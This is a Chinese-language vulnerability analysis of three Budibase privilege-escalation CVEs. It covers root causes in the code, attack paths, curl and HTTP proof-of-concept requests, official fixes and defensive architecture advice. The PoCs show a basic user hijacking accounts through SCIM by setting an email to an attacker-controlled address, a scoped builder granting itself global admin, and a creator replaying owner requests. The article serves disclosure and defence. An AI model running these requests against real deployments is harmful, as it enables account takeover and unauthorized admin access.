目录


1. 漏洞背景与时间线

Budibase 是一个广受欢迎的开源低代码平台,用于快速构建内部工具、工作流和管理面板。作为低代码平台,Budibase 天然具备多租户(multi-tenant)能力,支持多个组织(tenant)在共享基础设施上隔离运行,每个租户内部又存在精细的角色层级。这种复杂的信任模型一旦出现边界失效,影响范围极大。

2026年上半年,Budibase 连续披露多个 Critical 级别的授权边界漏洞,其中两个(CVE-2026-46425 和 CVE-2026-48150)由同一安全研究团队(aisafe.io)在同一天(2026年5月27日)集中披露,加上更早披露的同类型漏洞 CVE-2026-25045,三者共同暴露了 Budibase 在租户隔离与角色授权方面的系统性缺陷。

三个Critical漏洞概览:

CVE编号 CVSS 披露日期 漏洞类型 修复版本
CVE-2026-46425 9.9 2026-05-27 SCIM路由缺失授权 (CWE-862) 3.38.2
CVE-2026-48150 9.0 2026-05-27 Builder越权至全局Admin (CWE-915) 3.39.0
CVE-2026-25045 8.7 2026-03-09 Creator角色IDOR越权 (CWE-862) 未修复
漏洞披露时间线:
2026-03-09  CVE-2026-25045  Creator IDOR越权披露 (GHSA-2g39-332f-68p9)
    │
    │  (同一研究团队 aisafe.io 深入挖掘信任边界问题)
    │
2026-05-27  CVE-2026-46425  SCIM缺失授权披露 (GHSA-q9rw-q89f-jx2f)  ┐
2026-05-27  CVE-2026-48150  Builder越权披露 (GHSA-6xp4-cf37-ppjh)   ┘ 同日
    │
    ▼
三个漏洞指向同一系统性问题: 信任边界校验缺失

CVE-2026-48150 的公告中明确指出,该漏洞与 CVE-2026-25045 "在形态和影响上一致"("This matches GHSA-2g39-332f-68p9 in shape and impact"),说明研究团队在 CVE-2026-25045 之后,系统性地在 Budibase 的其他授权路径中发现了同类型的信任边界绕过。


2. Budibase低代码平台架构与信任边界模型

2.1 架构概览

Budibase 采用微服务式架构,核心包含两个服务:

┌─────────────────────────────────────────────────────────────┐
│                       客户端 (浏览器)                         │
└────────────┬───────────────────────────────┬────────────────┘
             │                               │
     ┌───────▼───────┐               ┌──────▼───────┐
     │  Budibase Server│               │ Budibase Worker│
     │  (app服务)      │               │ (全局/租户服务) │
     │                 │               │                │
     │ • 应用构建器     │               │ • 用户管理      │
     │ • 数据源连接     │               │ • 认证/授权      │
     │ • 自动化工作流   │               │ • SCIM端点      │
     │ • Public API    │               │ • 全局用户CRUD  │
     │ • 角色分配API    │               │ • 租户隔离      │
     └───────┬─────────┘               └───────┬────────┘
             │                                 │
             └──────────┬──────────────────────┘
                        │
              ┌─────────▼─────────┐
              │   CouchDB (集群)    │
              │  ┌───────────────┐ │
              │  │ global_tenant │ │  ← 全局租户数据库
              │  │ us_xxx 用户文档│ │
              │  ├───────────────┤ │
              │  │ app_tenant_A  │ │  ← 应用租户数据库
              │  │ app_xxx 数据   │ │
              │  ├───────────────┤ │
              │  │ app_tenant_B  │ │
              │  └───────────────┘ │
              └───────────────────┘
  • Server(app服务):处理应用构建、数据源、自动化等业务逻辑。
  • Worker(全局服务):处理认证、用户管理、租户隔离、SCIM 等全局性操作。

2.2 角色层级模型

Budibase 的角色体系分为两个维度:全局角色(Global Role) 和 应用级角色(App-level Role)。

全局角色层级 (存储在用户文档的 builder/admin 字段):
┌──────────────────────────────────────────────────────────────┐
│  Owner / Tenant Admin                                        │
│  admin: {global: true}                                       │
│  权限: 管理租户内一切 (用户、应用、设置、SCIM配置)              │
├──────────────────────────────────────────────────────────────┤
│  Global Builder                                              │
│  builder: {global: true}                                     │
│  权限: 构建租户内所有应用                                      │
├──────────────────────────────────────────────────────────────┤
│  Workspace-scoped Builder (应用级构建者)                       │
│  builder: {apps: ["app_xxx"], global: false}                 │
│  权限: 仅构建指定应用 (builder.apps数组中的app)                │
├──────────────────────────────────────────────────────────────┤
│  Creator (部分版本中等同于应用级构建者)                        │
│  权限: 构建应用,但无用户管理权限                               │
├──────────────────────────────────────────────────────────────┤
│  BASIC / App Viewer                                          │
│  roles: {"app_xxx": "BASIC"}                                 │
│  权限: 仅查看已发布的应用                                      │
└──────────────────────────────────────────────────────────────┘

应用级角色 (存储在用户文档的 roles 字段):
  roles: {
    "app_aaa": "ADMIN",    // 该应用的管理员
    "app_bbb": "BASIC",    // 该应用的普通用户
    "app_ccc": "POWER"     // 该应用的高级用户
  }

2.3 信任边界设计意图

Budibase 的信任边界设计意图如下:

┌─────────────────────────────────────────────────────────┐
│                    租户隔离边界                           │
│  Tenant A 的用户 ≠ Tenant B 的用户                       │
│  (数据库级别隔离: global_tenant vs app_tenant)           │
│                                                         │
│  ┌─────────────────────────────────────────────────┐   │
│  │              全局管理边界                         │   │
│  │  只有 admin.global=true 可管理用户/角色/SCIM      │   │
│  │                                                 │   │
│  │  ┌─────────────────────────────────────────┐    │   │
│  │  │         应用构建边界                      │    │   │
│  │  │  只有 builder.global=true 或             │    │   │
│  │  │  builder.apps包含该app的scoped builder   │    │   │
│  │  │  可构建对应应用                           │    │   │
│  │  │                                         │    │   │
│  │  │  ┌───────────────────────────────────┐  │    │   │
│  │  │  │      应用访问边界                   │  │    │   │
│  │  │  │  只有 roles中包含该app的用户       │  │    │   │
│  │  │  │  可访问对应应用                    │  │    │   │
│  │  │  └───────────────────────────────────┘  │    │   │
│  │  └─────────────────────────────────────────┘    │   │
│  └─────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────┘

三个Critical漏洞分别击穿了不同层级的信任边界:

  • CVE-2026-46425:BASIC用户突破"全局管理边界",通过SCIM操作租户用户
  • CVE-2026-48150:应用级Builder突破"全局管理边界",提升为全局Admin
  • CVE-2026-25045:Creator突破"全局管理边界",通过IDOR操纵用户角色

3. 漏洞一:CVE-2026-46425 — SCIM路由缺失授权

3.1 漏洞概述

项目 内容
CVE CVE-2026-46425
CVSS 9.9 (Critical)
CWE CWE-862 Missing Authorization
影响版本 < 3.38.2
修复版本 3.38.2
研究团队 aisafe.io

SCIM(System for Cross-domain Identity Management)是企业级身份管理协议,Budibase 在 Enterprise 版本中支持通过 SCIM 端点管理租户用户和用户组。漏洞在于:SCIM 路由仅检查了功能开关(SCIM是否启用),却完全没有检查调用者的角色权限。

3.2 漏洞根因:中间件链缺失角色校验

// packages/worker/src/api/routes/global/scim.ts  (漏洞代码)
const router: Router = new Router({ prefix: "/api/global/scim/v2" })

// 仅挂载了两个中间件
router.use(proMiddleware.requireSCIM)    // 1. 检查SCIM功能是否启用 (不看角色!)
router.use(proMiddleware.doInScimContext) // 2. 设置SCIM请求上下文 (不看角色!)

// 以下所有路由都没有角色校验
router.get("/users", userController.get)
router.post("/users", userController.create)
router.patch("/users/:id", proMiddleware.scimUserOnly("id"), userController.update)
router.delete("/users/:id", proMiddleware.scimUserOnly("id"), userController.remove)
router.get("/groups", groupController.get)
router.post("/groups", proMiddleware.feature.requireFeature(Feature.USER_GROUPS), groupController.create)

对比非SCIM的用户组路由,可以清楚看到差距:

// packages/worker/src/api/routes/global/groups.ts  (正确的鉴权写法)
router
  .post("/api/global/groups",
        auth.adminOnly,                                          // ← 有角色校验!
        proMiddleware.feature.requireFeature(Feature.USER_GROUPS),
        buildGroupSaveValidation(), controller.save)
  .delete("/api/global/groups/:groupId/:rev",
          proMiddleware.feature.requireFeature(Feature.USER_GROUPS),
          auth.adminOnly,                                        // ← 有角色校验!
          controller.destroy)
  .get("/api/global/groups/:groupId",
       proMiddleware.feature.requireFeature(Feature.USER_GROUPS),
       auth.builderOrAdmin,                                      // ← 有角色校验!
       controller.find)

非SCIM路由的每个用户/组操作都挂载了 auth.adminOnly 或 auth.builderOrAdmin,而SCIM路由的"孪生"端点一个都没有。Worker 的全局认证中间件只检查 isAuthenticated(是否登录),任何拥有 budibaseAccess=true 的账户都能通过——这包括了租户内所有的 BASIC 用户。

3.3 攻击路径

BASIC用户 (App Viewer)
    │
    │ 1. 登录获取session cookie + CSRF token
    │    POST /api/global/auth/default/login
    │
    │ 2. 调用SCIM端点列出所有租户用户 (无需admin角色)
    │    GET /api/global/scim/v2/users
    │    → 200 OK, 返回所有用户列表 (PII泄露)
    │
    │ 3. 通过SCIM创建新用户 (无需admin角色)
    │    POST /api/global/scim/v2/users
    │    → 200 OK, 新用户创建成功 (scimInfo.isSync=true)
    │
    │ 4. 修改现有用户的email (账户接管原语)
    │    PATCH /api/global/scim/v2/users/<id>
    │    → 200 OK, email被改为攻击者控制的地址
    │    → 通过密码重置接管该账户
    │
    │ 5. 将合法用户移入攻击者控制的用户组
    │    POST /api/global/scim/v2/groups
    │    → 继承该组绑定的角色权限
    │
    ▼
完全的租户用户管理权限 (从BASIC用户提升)

3.4 PoC

#!/bin/bash
# CVE-2026-46425 PoC — BASIC用户通过SCIM CRUD租户用户
# 测试环境: Budibase 3.35.8, Enterprise租户已启用SCIM

BASE="http://localhost:10000"

# Step 1: Bob (BASIC用户) 登录,获取session和CSRF token
curl -sS -c bob_cookie -X POST "$BASE/api/global/auth/default/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"basic@aisafe.test","password":"Basic!Test!2026"}' > /dev/null

CSRF=$(curl -sS -b bob_cookie "$BASE/api/global/self" | jq -r .csrfToken)
echo "[+] Bob(BASIC) 登录成功, CSRF token: $CSRF"

# Step 2: Bob列出所有SCIM用户 (本应需要admin权限)
echo "[*] Bob尝试列出所有租户用户..."
curl -sS -b bob_cookie -H "x-csrf-token: $CSRF" \
  -H "Accept: application/scim+json" \
  "$BASE/api/global/scim/v2/users"
# 预期: 200 OK (本应返回403)

# Step 3: Bob通过SCIM创建新用户 (本应需要admin权限)
echo "[*] Bob尝试创建新用户..."
curl -sS -b bob_cookie -X POST "$BASE/api/global/scim/v2/users" \
  -H "x-csrf-token: $CSRF" \
  -H "Content-Type: application/scim+json" \
  -d '{
    "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
    "userName": "scim-injected@aisafe.test",
    "emails": [{"value": "scim-injected@aisafe.test", "primary": true}],
    "name": {"givenName": "SCIM", "familyName": "Injected"},
    "active": true
  }'
# 预期: 200 OK, 返回新创建的用户 (含id, scimInfo.isSync=true)

# Step 4: Bob修改某用户的email (账户接管原语)
echo "[*] Bob尝试修改用户email..."
curl -sS -b bob_cookie -X PATCH "$BASE/api/global/scim/v2/users/us_TARGET_ID" \
  -H "x-csrf-token: $CSRF" \
  -H "Content-Type: application/scim+json" \
  -d '{
    "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
    "Operations": [{
      "op": "replace",
      "path": "emails[type eq \"work\"].value",
      "value": "attacker-controlled@evil.com"
    }]
  }'
# 预期: 200 OK, 受害者email被篡改 → 可通过密码重置接管账户

3.5 修复方案

官方修复仅添加一行中间件:

// packages/worker/src/api/routes/global/scim.ts (修复后)
router.use(proMiddleware.requireSCIM)
router.use(proMiddleware.doInScimContext)
router.use(auth.adminOnly)    // ← 新增: 与非SCIM路由保持一致

一行代码关闭所有SCIM路由的越权。但这也暴露了一个更深的问题:功能开关(requireSCIM)和授权检查(adminOnly)被混为一谈。开发者认为"SCIM功能启用了"就等于"可以访问SCIM端点",忽略了"谁可以访问"这一授权问题。


4. 漏洞二:CVE-2026-48150 — Builder角色越权至全局Admin

4.1 漏洞概述

项目 内容
CVE CVE-2026-48150
CVSS 9.0 (Critical)
CWE CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes
影响版本 < 3.39.0
修复版本 3.39.0
研究团队 aisafe.io

这是一个典型的批量赋值(Mass Assignment)漏洞。Workspace-scoped Builder(应用级构建者,builder.apps 有值但 builder.global 为 false)通过 /api/public/v1/roles/assign 接口,可以将自己或任意用户提升为全局 Admin。

4.2 漏洞根因:中间件过宽 + SDK无权限校验

漏洞涉及三个组件的协同失效:

组件1:中间件 builderOrAdmin 过于宽泛

// packages/backend-core/src/middleware/builderOrAdmin.ts
export async function builderOrAdmin(ctx: UserCtx, next: any) {
  if (ctx.internal || isAdmin(ctx.user)) { return next() }
  const workspaceId = await getWorkspaceIdFromCtx(ctx)

  if (!workspaceId && !env.isWorker()) {
    ctx.throw(403, "This request required a workspace id.")
  } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) {
    ctx.throw(403, "Admin/Builder user only endpoint.")
  } else if (workspaceId && !isBuilder(ctx.user, workspaceId)) {
    ctx.throw(403, "Workspace Admin/Builder user only endpoint.")
  }
  // passes — 通过!
}

isBuilder(user, workspaceId) 对任何 builder.apps 数组包含该 workspaceId 的用户都返回 true,即使 builder.global 为 false。这意味着应用级 Builder 也能通过这个中间件。

组件2:控制器直接展开请求体(批量赋值)

// packages/server/src/api/controllers/public/roles.ts
export async function assignAppBuilder(ctx: Ctx) {
  const { userIds, ...assignmentProps } = ctx.request.body
  // assignmentProps 直接包含 builder 和 admin 字段,无过滤!
  await sdk.publicApi.roles.assign(userIds, assignmentProps)
  ctx.body = { data: { userIds } }
}

...assignmentProps 展开了请求体中除 userIds 外的所有字段,包括攻击者注入的 builder: true 和 admin: true。

组件3:SDK无条件赋值全局权限

// packages/pro/src/sdk/publicApi/roles.ts
export async function assign(userIds: string[], opts: AssignmentOpts) {
  if (!(await isExpandedPublicApiEnabled())) {
    throw new Error("Unable to assign roles - license required.")
  }
  const users = await userDB.bulkGet(userIds)
  for (let user of users) {
    if (opts.builder) {
      user.builder = { global: true }    // ← 无条件授予全局Builder!
    }
    if (opts.admin) {
      user.admin = { global: true }      // ← 无条件授予全局Admin!
    }
  }
  await userDB.bulkUpdate(users)
}

SDK 没有检查调用者自身是否已拥有其正在授予的权限。一个应用级 Builder 可以给任意用户(包括自己)授予全局 Admin。

4.3 攻击路径

Alice (Workspace-scoped Builder)
  builder: {apps: ["app_xxx"], global: false}
  admin: {global: false}
    │
    │ 1. 获取自己的API Key
    │    GET /api/global/self/api_key
    │    → {"apiKey": "80f28..."}
    │
    │ 2. 调用角色分配接口,scope到自己的app以通过builderOrAdmin
    │    POST /api/public/v1/roles/assign
    │    Header: x-budibase-app-id: app_xxx (自己的app)
    │    Body: {"userIds": ["us_victim"], "builder": true}
    │    → 中间件: isBuilder(alice, app_xxx) = true → 通过!
    │    → 控制器: assignmentProps = {builder: true}
    │    → SDK: victim.builder = {global: true}
    │    → 200 OK
    │
    │ 3. 给自己授予全局Admin
    │    POST /api/public/v1/roles/assign
    │    Body: {"userIds": ["us_alice"], "admin": true}
    │    → SDK: alice.admin = {global: true}
    │    → 200 OK
    │
    ▼
Alice 现在是全局Admin!
  builder: {apps: ["app_xxx"]}  (保留)
  admin: {global: true}         (新增!)

4.4 PoC

#!/bin/bash
# CVE-2026-48150 PoC — Workspace-scoped Builder越权至全局Admin
# 测试环境: Budibase 3.35.8, Enterprise (EXPANDED_PUBLIC_API功能启用)

BASE="http://localhost:10000"
APP_ID="app_hasinocompany_123456789"

# 前置: Alice是workspace-scoped builder (builder.apps含APP_ID, global=false)

# Step 1: Alice获取自己的API Key
echo "[*] Alice获取API Key..."
ALICE_APIKEY=$(curl -sS -b alice_cookie "$BASE/api/global/self/api_key" | jq -r .apiKey)
echo "[+] Alice API Key: $ALICE_APIKEY"

# Step 2: Alice将受害者提升为全局Builder
echo "[*] Alice将受害者(us_70b6victim)提升为全局Builder..."
curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
  -H "Content-Type: application/json" \
  -H "x-budibase-api-key: $ALICE_APIKEY" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{"userIds":["us_70b6victim"],"builder":true}'
# 预期: 200 OK
# 结果: victim.builder = {global: true}

# Step 3: Alice给自己授予全局Admin
echo "[*] Alice给自己授予全局Admin..."
curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
  -H "Content-Type: application/json" \
  -H "x-budibase-api-key: $ALICE_APIKEY" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{"userIds":["us_dabalice"],"admin":true}'
# 预期: 200 OK
# 结果: alice.admin = {global: true}

# 验证: Alice现在拥有全局Admin权限
echo "[*] 验证Alice的权限..."
curl -sS -b alice_cookie "$BASE/api/global/self" | jq '{builder, admin}'
# 预期输出: {"builder": {"apps": ["app_..."]}, "admin": {"global": true}}

4.5 修复方案

官方建议在SDK层强制校验调用者权限:

// packages/pro/src/sdk/publicApi/roles.ts (修复后)
export async function assign(userIds: string[], opts: AssignmentOpts) {
  const caller = context.getIdentity()  // 获取调用者身份

  if (opts.builder) {
    // 只有全局Builder或Admin才能授予全局Builder
    if (!caller?.builder?.global && !caller?.admin?.global) {
      throw new HTTPError("Only global builders or admins can grant global builder", 403)
    }
    user.builder = { global: true }
  }
  if (opts.admin) {
    // 只有全局Admin才能授予全局Admin
    if (!caller?.admin?.global) {
      throw new HTTPError("Only global admins can grant global admin", 403)
    }
    user.admin = { global: true }
  }
}

同时在控制器边界剥离敏感字段(纵深防御):

// packages/server/src/api/controllers/public/roles.ts (修复后)
export async function assignAppBuilder(ctx: Ctx) {
  const { userIds, ...assignmentProps } = ctx.request.body
  // 防御性: 除非调用者是全局Admin,否则剥离builder/admin字段
  if (!ctx.user?.admin?.global) {
    delete assignmentProps.builder
    delete assignmentProps.admin
  }
  await sdk.publicApi.roles.assign(userIds, assignmentProps)
}

5. 漏洞三:CVE-2026-25045 — Creator角色IDOR越权

5.1 漏洞概述

项目 内容
CVE CVE-2026-25045
CVSS 8.7 (Critical)
CWE CWE-862 Missing Authorization / CWE-639 IDOR
影响版本 多个版本
修复版本 未修复(截至披露时)
研究者 Hasinohacker

这个漏洞结合了垂直越权(Vertical Privilege Escalation)和不安全直接对象引用(IDOR)。/api/global/users 端点缺少服务端RBAC校验,Creator 级别用户(本应只能构建应用,无用户管理权限)可以重放 Owner 级别的请求,操纵租户内任意用户的角色。

5.2 漏洞根因:/api/global/users 缺少服务端角色校验

漏洞的核心是 /api/global/users 端点接受用户修改请求时,不验证请求者的角色是否拥有对应权限。系统依赖前端UI隐藏了Creator不应看到的操作按钮,但后端API本身不做校验。

设计意图 (前端控制):
  Creator UI → 不显示"用户管理"按钮 → Creator无法操作

实际漏洞 (后端无校验):
  Creator用Burp Suite捕获Owner的请求 → 替换为Creator的Cookie/CSRF → 重放
  → 后端接受请求 → 200 OK → 越权操作成功

5.3 攻击路径

Creator用户
  (仅有应用构建权限,无用户管理权限)
    │
    │ 1. 捕获Owner的合法请求 (Burp Suite拦截)
    │    例如: Owner将App Viewer提升为Tenant Admin的POST请求
    │
    │ 2. 用Creator自己的session token替换请求中的Cookie和CSRF
    │
    │ 3. 重放修改后的请求:
    │    POST /api/global/users
    │    Cookie: <creator_session>
    │    X-Csrf-Token: <creator_csrf>
    │    Body: {"_id": "us_appviewer", "admin": {"global": true}, ...}
    │
    │ 4. 后端无RBAC校验 → 200 OK → 操作成功!
    │
    ▼
Creator实现了:
  ✗ → ✓ 将App Viewer提升为Tenant Admin
  ✓ → ✗ 将Tenant Admin降级为App Viewer
  ✎ 修改Owner的账户信息 (姓名等)

5.4 PoC

### CVE-2026-25045 PoC — Creator越权修改用户角色

### 示例A: Creator将App Viewer提升为Tenant Admin
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json

{
  "_id": "us_appviewer12345",
  "firstName": "AppViewUser",
  "lastName": "Upgraded",
  "email": "appviewer@gmail.com",
  "admin": {"global": true},
  "builder": {"global": true},
  "roles": {}
}

### 预期响应: 200 OK (本应返回403)
### 结果: App Viewer被提升为Tenant Admin


### 示例B: Creator将Tenant Admin降级为App Viewer
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json

{
  "_id": "us_tenantadmin67890",
  "firstName": "Tenant",
  "lastName": "Demoted",
  "email": "tenantadmin@gmail.com",
  "admin": {"global": false},
  "roles": {"app_hasinocompany_123456789": "BASIC"}
}

### 预期响应: 200 OK
### 结果: Tenant Admin被降级为App Viewer


### 示例C: Creator修改Owner的账户信息
POST /api/global/users HTTP/2
Host: hasinocompany.budibase.app
Cookie: <creator_session_cookie>
X-Csrf-Token: <creator_csrf_token>
Content-Type: application/json

{
  "_id": "us_owneraccountid",
  "firstName": "Compromised",
  "lastName": "Owner",
  "email": "owner@gmail.com"
}

### 预期响应: 200 OK
### 结果: Owner的姓名被篡改

5.5 修复方向

// 修复: 在 /api/global/users 控制器中强制RBAC校验
export async function saveUser(ctx: Ctx) {
  const requestBody = ctx.request.body
  const caller = ctx.user

  // 如果请求体包含 admin 或 builder 字段,调用者必须是全局Admin
  if (requestBody.admin !== undefined || requestBody.builder !== undefined) {
    if (!caller?.admin?.global) {
      ctx.throw(403, "Only global admins can modify admin/builder roles")
    }
  }

  // 如果修改的不是自己,调用者至少需要Builder权限
  if (requestBody._id !== caller._id && !caller?.admin?.global) {
    ctx.throw(403, "Insufficient permissions to modify other users")
  }

  // ... 正常保存逻辑
}

6. 正常授权流程 vs 漏洞利用流程对比

6.1 CVE-2026-46425 (SCIM缺失授权) 对比

步骤 正常授权流程 漏洞利用流程
认证 Tenant Admin登录获取session BASIC用户登录获取session
中间件链 requireSCIM → doInScimContext → adminOnly requireSCIM → doInScimContext → (无adminOnly)
列出用户 GET /scim/v2/users → 200 (Admin合法操作) GET /scim/v2/users → 200 (BASIC越权读取)
创建用户 POST /scim/v2/users → 200 (Admin合法操作) POST /scim/v2/users → 200 (BASIC越权创建)
修改用户 PATCH /scim/v2/users/:id → 200 (Admin合法操作) PATCH /scim/v2/users/:id → 200 (BASIC越权修改email→账户接管)
边界校验点 auth.adminOnly 拦截非Admin 无校验点,边界完全缺失

6.2 CVE-2026-48150 (Builder越权) 对比

步骤 正常授权流程 漏洞利用流程
调用者身份 Global Builder / Admin Workspace-scoped Builder (builder.apps有值, global=false)
中间件校验 builderOrAdmin: isBuilder=global → 通过 builderOrAdmin: isBuilder(app级)=true → 通过 (过宽)
请求体内容 {userIds, appRole} (仅应用级角色) {userIds, builder: true, admin: true} (注入全局权限)
控制器处理 仅传递appRole给SDK ...assignmentProps展开 → builder/admin流入SDK
SDK赋值 仅设置app级角色 user.admin = {global: true} (无条件授予全局Admin)
结果 合法的应用级角色分配 应用级Builder变为全局Admin

6.3 CVE-2026-25045 (Creator IDOR) 对比

步骤 正常授权流程 漏洞利用流程
调用者身份 Owner / Tenant Admin Creator (无用户管理权限)
UI层控制 用户管理页面可见操作按钮 用户管理页面隐藏操作按钮
请求构造 UI生成合法请求 Burp Suite拦截Owner请求 → 替换为Creator的Cookie/CSRF
后端校验 (本应)校验caller是否为Admin 无RBAC校验 → 直接处理请求
操作结果 Admin合法修改用户角色 Creator越权提升/降级/修改任意用户
检测难度 正常操作有审计日志 Creator发起的角色变更无日志 (UI不记录)

7. 低代码平台信任边界失效的系统性根因

三个漏洞虽然具体技术不同,但根因可归结为低代码平台特有的信任边界设计问题:

7.1 功能开关 ≠ 授权检查

CVE-2026-46425 的核心问题是将"功能是否启用"(requireSCIM检查SCIM license)等同于"是否允许访问"(缺少adminOnly角色检查)。低代码平台大量使用功能开关(Feature Flag)控制Enterprise功能,但功能开关只回答"能不能用",不回答"谁能用"。

错误心智模型:
  requireSCIM() = true → "SCIM可用" → "允许访问SCIM端点" ✗

正确心智模型:
  requireSCIM() = true → "SCIM功能已启用" (功能层)
  auth.adminOnly()     → "调用者是Admin"  (授权层)
  两者都通过 → "允许访问SCIM端点" ✓

7.2 应用级角色与全局角色的混淆

CVE-2026-48150 的核心是 isBuilder(user, workspaceId) 对应用级 Builder 和全局 Builder 一视同仁。低代码平台中,应用级权限和全局权限是两个不同信任域,但中间件实现中往往用一个函数同时处理,导致应用级角色"逃逸"到全局域。

角色信任域:
  应用级 (App-scoped):     builder.apps = ["app_xxx"]  → 仅app_xxx的构建权
  全局级 (Global-scoped):  builder.global = true       → 所有app的构建权

混淆点:
  isBuilder(user, workspaceId) 对两者都返回true
  → 应用级Builder通过了本应只有全局Builder能通过的中间件
  → 应用级Builder获得了操作全局属性的入口

7.3 前端控制代替后端校验

CVE-2026-25045 的核心是依赖前端UI隐藏功能按钮来"防止"低权限用户操作,但后端API不做独立校验。低代码平台的拖拽式UI构建器天然倾向于在前端做权限控制(显示/隐藏组件),这容易让开发者产生"前端不可见=后端不可达"的错觉。

低代码平台的权限控制陷阱:

  前端 (UI Builder):
    if (user.role !== "ADMIN") hideButton("userManagement")
    → 看似安全: 非Admin看不到按钮

  后端 (API):
    POST /api/global/users → 无caller角色校验
    → 实际不安全: 任何人可直接调用API绕过UI

  根因: 前端控制是"用户体验"层面的,后端校验才是"安全"层面的
        两者不可互相替代

7.4 批量赋值与对象展开的滥用

CVE-2026-48150 中 const { userIds, ...assignmentProps } = ctx.request.body 的对象展开模式将用户可控的全部字段传入SDK,是 Mass Assignment 漏洞的典型成因。低代码平台大量使用动态字段(用户自定义应用结构),开发者习惯性地信任请求体结构,导致敏感字段(admin、builder)可被注入。


8. 防御方案

8.1 租户隔离强化

// 1. 所有租户级操作强制携带tenant上下文校验
export async function enforceTenantIsolation(ctx: UserCtx, next: any) {
  const callerTenantId = ctx.user.tenantId
  const targetTenantId = ctx.params.tenantId || ctx.request.body.tenantId

  if (targetTenantId && targetTenantId !== callerTenantId) {
    ctx.throw(403, "Cross-tenant access denied")
  }
  await next()
}

// 2. 数据库查询自动注入租户过滤
export async function getUsers(tenantId: string) {
  // CouchDB selector自动包含tenantId,防止跨租户数据泄露
  return userDB.query({
    selector: {
      tenantId: tenantId,   // 强制租户过滤
      // ...其他条件
    }
  })
}

8.2 RBAC统一审计框架

// 建立统一的授权中间件注册表,消除"遗漏挂载中间件"的问题
const ROUTE_REGISTRY = new Map<string, RouteSecurityConfig>()

interface RouteSecurityConfig {
  method: string
  path: string
  requiredRole: 'admin' | 'builder' | 'basic' | 'public'
  scope: 'global' | 'app' | 'tenant'
  featureFlag?: string  // 可选的功能开关
  middlewares: Middleware[]  // 必须显式列出所有中间件
}

// 注册时强制声明安全配置
function registerRoute(config: RouteSecurityConfig) {
  // 自动校验: 有featureFlag的路由必须同时有role中间件
  if (config.featureFlag && config.requiredRole === 'public') {
    throw new Error(
      `Route ${config.method} ${config.path} has feature flag but no role check!`
    )
  }
  ROUTE_REGISTRY.set(`${config.method}:${config.path}`, config)
}

// SCIM路由正确注册
registerRoute({
  method: 'POST',
  path: '/api/global/scim/v2/users',
  requiredRole: 'admin',        // ← 显式声明需要Admin
  scope: 'tenant',
  featureFlag: 'SCIM',
  middlewares: [requireSCIM, doInScimContext, auth.adminOnly]
})

8.3 API网关鉴权层

在所有路由之前部署统一的API网关鉴权层,作为最后一道防线:

// packages/worker/src/api/index.ts — 全局授权网关
app.use(async (ctx, next) => {
  // 1. 认证: 所有非public路由必须通过认证
  if (!isPublicRoute(ctx.path) && !isAuthenticated(ctx)) {
    ctx.throw(401, "Authentication required")
  }

  // 2. 授权: 根据路由的安全配置校验角色
  const routeConfig = ROUTE_REGISTRY.get(`${ctx.method}:${ctx.path}`)
  if (routeConfig) {
    const user = ctx.user
    switch (routeConfig.requiredRole) {
      case 'admin':
        if (!user?.admin?.global) {
          ctx.throw(403, "Global admin required")
        }
        break
      case 'builder':
        // 全局Builder或应用级Builder(仅限对应app)
        if (!user?.builder?.global &&
            !isAppBuilder(user, getWorkspaceId(ctx))) {
          ctx.throw(403, "Builder permission required")
        }
        break
    }
  }

  // 3. CSRF校验: 所有写操作
  if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(ctx.method)) {
    if (!verifyCSRF(ctx)) {
      ctx.throw(403, "Invalid CSRF token")
    }
  }

  await next()
})

8.4 纵深防御清单

┌──────────────────────────────────────────────────────────────┐
│              低代码平台信任边界纵深防御                         │
├──────────────────────────────────────────────────────────────┤
│  授权层 (最关键):                                             │
│    □ 每个API路由显式声明requiredRole和scope                   │
│    □ 功能开关(requireFeature)与角色检查(adminOnly)分离       │
│    □ 应用级角色与全局角色使用不同的中间件校验                   │
│    □ 后端RBAC独立于前端UI控制 (不依赖UI隐藏按钮)              │
├──────────────────────────────────────────────────────────────┤
│  数据层:                                                     │
│    □ 所有数据库查询强制注入tenantId过滤                        │
│    □ 用户文档的admin/builder字段不可通过公共API直接修改         │
│    □ 控制器层剥离请求体中的敏感字段 (反Mass Assignment)        │
├──────────────────────────────────────────────────────────────┤
│  架构层:                                                     │
│    □ API网关统一鉴权层 (作为最后防线)                          │
│    □ SCIM等企业管理端点单独鉴权域 (不与普通API共享中间件)      │
│    □ 路由注册表强制安全配置声明 (编译期/启动期校验)            │
├──────────────────────────────────────────────────────────────┤
│  审计层:                                                     │
│    □ 所有角色变更操作记录审计日志 (含调用者、目标、变更内容)    │
│    □ 跨租户访问尝试告警                                       │
│    □ 权限提升事件实时告警 (BASIC→Admin等)                     │
└──────────────────────────────────────────────────────────────┘

8.5 补丁升级

CVE 修复版本 升级建议
CVE-2026-46425 3.38.2 立即升级至3.38.2以上
CVE-2026-48150 3.39.0 立即升级至3.39.0以上
CVE-2026-25045 未修复 关注官方更新,临时禁用Creator角色的用户管理相关API

GitHub安全公告:


免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。